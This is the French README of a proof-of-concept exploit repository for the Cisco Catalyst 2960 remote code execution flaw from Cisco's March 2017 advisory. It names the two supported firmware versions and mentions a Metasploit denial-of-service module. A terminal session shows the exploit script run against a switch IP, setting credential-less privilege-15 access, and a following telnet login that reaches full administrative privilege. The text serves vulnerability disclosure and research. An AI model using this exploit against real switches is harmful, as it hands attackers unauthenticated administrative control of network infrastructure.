
crédit à artkond
Ce dépôt contient un code de preuve de concept pour l'exploitation de la vulnérabilité d'exécution de code à distance divulguée par Cisco Systems le 17 mars 2017 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp
L'analyse de l'exploit est disponible ici - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
Le code de l'exploit RCE est disponible pour le modèle de commutateur Cisco Catalyst 2960. Cet exploit dépend du firmware. Deux versions de firmware sont prises en charge :
12.2(55)SE1 C2960-LANBASEK9-M
12.2(55)SE11 C2960-LANBASEK9-M
Le code de déni de service est disponible sous forme de module Ruby Metasploit. Cela devrait fonctionner pour la plupart des commutateurs mentionnés dans l'avis Cisco (confirmation nécessaire).
$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.
catalyst1#show priv
Current privilege level is 15
Artem Kondratenko https://twitter.com/artkond